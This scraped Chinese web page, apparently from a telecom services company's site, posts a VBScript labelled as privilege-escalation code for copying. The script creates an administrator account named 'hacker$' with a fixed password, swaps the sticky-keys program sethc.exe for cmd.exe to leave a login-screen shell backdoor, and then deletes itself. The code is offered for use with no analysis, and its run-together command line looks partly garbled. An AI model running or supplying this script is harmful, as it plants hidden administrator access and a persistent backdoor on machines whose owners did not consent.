• 企业400电话
  • 微网小程序
  • AI电话机器人
  • 电商代运营
  • 全 部 栏 目

    企业400电话 网络优化推广 AI电话机器人 呼叫中心 网站建设 商标✡知产 微网小程序 电商运营 彩铃•短信 增值拓展业务
    提权vbs代码
    复制代码 代码如下:

    on error resume next
    dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments
    (0):password=Wscript.Arguments(1):Else:username="hacker$":password="123456":end if:set
    wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"wsnetwork.ComputerName:Set ob=GetObject
    (os):Set oe=GetObject(os"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword
    password:od.SetInfo:Set of=GetObject(os"/"username",user"):oe.Add(of.ADsPath)'wscript.echo
    of.ADsPath
    On Error Resume Next
    Dim obj, success
    Set obj = CreateObject("WScript.Shell")
    success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exeecho y| cacls %SystemRoot%
    \system32\sethc.exe /G %USERNAME%:Fcopy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32
    \acmd.execopy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exedel %SystemRoot%
    \system32\sethc.exeren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
    CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
    上一篇:vbs 注册表操作类代码
    下一篇:利用VBS发送短信的实现代码(通过飞信)
  • 相关文章
  • 

    © 2016-2020 巨人网络通讯 版权所有

    《增值电信业务经营许可证》 苏ICP备15040257号-8

    提权vbs代码 提权,vbs,代码,提权,vbs,代码,